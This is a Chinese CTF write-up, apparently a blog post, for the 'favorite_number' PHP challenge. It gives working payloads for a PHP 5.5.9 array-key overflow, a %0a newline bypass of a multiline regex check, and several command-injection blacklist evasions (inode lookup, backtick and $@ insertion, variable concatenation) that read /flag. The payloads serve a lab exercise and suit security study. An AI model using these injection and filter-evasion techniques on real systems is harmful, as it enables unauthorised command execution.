攻防世界 web高手进阶区 favorite_number

打开后发现是一道php代码审计题

1.首先是个判断,既要数组强等,又要首元素不为admin
(PHP5.59的漏洞)

2.做了一个正则匹配,要求字符串全为数字,大小写不敏感,跨行检测
(匹配数字注意到了,如何绕过呢,跨行))

3.写了一个黑名单,把常用的都排除了

一、php5.5.9这个版本的本身漏洞

参考:
PHP的信息安全(入侵获取$flag)的题目【Q2】
PHP数组的key溢出问题
看了其他大佬的wp,发现这个php5.5.9版本的数组溢出值为4294967296,当数值溢出的时候就会覆盖0键值(我没有php5.5.9的环境,用5.4测试反正是没过)
然后构造payload

stuff[4294967296]=admin&stuff[1]=user&num=123

二、数字检测

    if (preg_match("/^\d+$/im",$num)){

只允许纯数字,但是要想命令执行很明显我们需要字母。

可以注意到preg_match开启了/m,也就是开启了多行匹配,因此^和$不只是匹配字符串的开头和结尾,也匹配一行的开头和一行的结尾。

因此我们利用%0a换一行,

把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。

但是这里有个坑,就是用harkbar不行。真的是太坑了,用bp:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

在这里插入图片描述
hackbar不能成功的原因是浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。

三.命令执行

文件则有两个比较好用的方法

方法1 利用文件的inode号

在这里插入图片描述
我们可以看到/flag文件的inode号:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

在这里插入图片描述

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac ` find / -inum 23337141`

方法2输出到文件里

然后执行文件

stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`

显示有如下的办法

在这里插入图片描述

解法一:利用反引号`

这是我查资料查到的,真的是全新姿势。我的印象里,例如过滤了cat,我们可以利用这些方式来绕过(不考虑编码绕过之类的):

ca''t
cat""t
ca\t

但是我查到了反引号居然这样和上面的有同样的效果:

ca``t

而这题又没有过滤反引号,因此就可以随便执行命令了:

方法二 1 和 1和 1@

$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空
num=1%0aca$1t /fl$1ag
num=1%0aca$@t /fl$@ag

方法三 变量拼接

也是一种比较常用的方法,既然过滤了flag,而又没过滤$,就可以用变量拼接:

num=1%0aa=f;b=lag;tac /$a$b;

stuff[4294967296]=admin&stuff[1]=user&num=1%0atac+/f``lag

知识点

1 php5.5的数组key溢出
2 换行符绕过正则跨行匹配 %0a
3 inode ls -i /绕过正则 变量拼接 1 和 1和 1@ ${21} ca’'t cat""t ca\t ca``t
4 cat tac more less head tail nl

自己也尝试了一个方法 find / -name f @ l a g t a c / f @lag tac /f @lagtac/f@lag
也可以得出结果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值